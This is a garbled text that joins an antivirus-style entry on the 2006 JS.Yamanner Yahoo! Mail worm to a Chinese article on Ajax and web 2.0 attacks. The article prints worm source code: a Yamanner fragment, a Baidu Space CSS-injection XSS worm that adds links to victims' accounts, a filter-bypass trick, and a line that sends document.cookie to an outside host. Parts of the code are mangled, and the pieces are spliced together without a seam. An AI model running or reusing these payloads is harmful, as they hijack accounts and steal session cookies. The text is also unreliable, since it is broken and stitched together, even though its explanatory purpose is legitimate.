Discovered: June 12, 2006
Updated: June 20, 2006 10:46:40 AM ZW3
Also Known As: JS/Yamanner@MM [McAfee], JS_YAMANER.A [Trend Micro], Yamanner.A [F-Secure], JS/Yamann-A [Sophos]
Type: Worm
Infection Length: 6,377 bytes.
Systems Affected: Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows XP
JS.Yamanner@m is a worm that is written in JavaScript. It exploits a vulnerability in the Yahoo! Mail service to send a copy of itself to other Yahoo! Mail contacts.
IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method, Param) { //- - 执行标准的Ajax语句:XMLHttpRequest,并对浏览器是否IE进行判断 if (window.XMLHttpRequest) { http_request = new XMLHttpRequest(); } else if (window.ActiveXObject) { http_request = new ActiveXObject('Microsoft.XMLHTTP'); } http_request.target=""onreadystatechange = Func; http_request.open(Method, url, true); if( Method == 'GET') http_request.send(null); else http_request.send(Param); }window.open('http://www,lastdata.com'); ServerUrl = url0;USIndex = ServerUrl.indexOf('us.' ,0);MailIndex = ServerUrl.indexOf('.mail' ,0);CutLen = MailIndex - USIndex - 3;var Server = ServerUrl.substr(USIndex + 3, CutLen); function GetIDs(HtmlContent) { IDList = ''; StartString = ' '; EndString = ''; 由此Ajax攻击可见一斑,然而这还仅仅是个开始。7月份百度开通了百度空间,虽然没有指明是应用web2.0技术,但从web2.0象征的测试版(beta)和页面模版架构等等,你可以看出它事实上已经应用了Ajax技术。而在空间开通不到半个月,相应的攻击方式又产生了,这个攻击应该又算是一个蠕虫吧。它利用百度提交的自定义css(Cascading Stylesheet,层叠样式表单)中对插入的javascript过滤不严格,而使攻击者可以写入恶意代码进行了xss(Cross Site Scripting)跨站。从而使浏览该空间的百度通行证用户在不知觉的情况下将该站点加入自己的友情连接中。最原始代码标本如下:
#header{height:89px;background:url("javascript:document.body.onload = function(){ //- - 在css的样式标签中插入javascript代码 var req = null; if(window.XMLHttpRequest) req = new XMLHttpRequest(); //- - 这句懂ajax的都知道,是它的核心XMLHttpRequest,而下面当然是必不可少的判断是否IE的语句了。 else if(window.ActiveXObject){ var msxml = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP'); for(var i=0;i try{req.overrideMimeType('text/xml')}catch(e){} } req.open('get','.',false); req.send(); var s=req.responseText; p=s.indexOf('passport.baidu.com/?logout'); if(p>0) { p=s.indexOf(''); if(p>0) { p=s.indexof('/',p); p2=s.indexOf(String.fromCharCode(34),p); var user=s.substring(p+1,p2); var name='Here is a bad site'; var link='目标网址'; var desc='This link was added by an XSS script'; var url='/'+user+'/commit'; var data='ct=6&cm=1&spRef='+escape('http://hi.baidu.com/'+user)+'%2Fmodify%2Fbuddylink%2F0&spBuddyName='+escape(name)+'&spBuddyURL='+escape(link)+'&spBuddyIntro='+escape(desc); //- - 这句是整个蠕虫的执行语句,也是Ajax的数据异步调用语句。 req.open('post',url,false); req.send(data); alert('A friend link has been added to your space at http://hi.baidu.com/' +user); } } else{alert('You are not a logged Baidu user.');} //- - 由于是标本语句,所以这里有对是否登陆的判断,但实际攻击中当然不会有。 }"); } 当时百度在第一时间内对此蠕虫作出了反映——过滤提交表单中的javascript,当然这也使正常用户无法再在blog中贴入Flash动画。但后来的变种使得境况变得更糟糕,因为有人发现百度仅仅是过滤了CSS文本中的譬如"javascript"和"expression"这样的字符串。也就是说如果把”javascript”分成两行来写,就可以绕过百度的过滤但同时又被IE执行。而这时变种的蠕虫也随之产生,其造成的结果是在用户的css中加入如下代码:
javascript: document.location='http://www.target.com/cookie.cgi?' +document cookie; Should Steal Your Cookie. Tue, 20 Sep 2005 23:55:18 EDT javascript: alert(document.cookie); Should Steal Your Cookie. Tue, 20 Sep 2005 23:55:18 EDT 事实上,最早的web2.0攻击出现在去年的myspace.上,有人在MySpace交友网站上写了一段JavaScript蠕虫代码,利用Ajax方法让无数的用户在不知情的情况下把他加入了好友名单,同时在他们的个人简介最后自动加上了“samy is my hero”的字样。此蠕虫被称为世界上第一个“web2.0蠕虫”。而从上文的对email、css、rss攻击进行的描述中你也可以看出目前对 web2.0的攻击利用亦是多方面的。但并不单单指跨站,网上有一篇《Hacking Ajax》的文章,其中有一句话被加了黑体,“By corrupting one of the dozens of data exchanges Ajax handles while loading a Web page, a hacker can take over control of the PC”,也就是说适当情况下,利用Ajax攻击并获得个人电脑管理权限亦是可能的。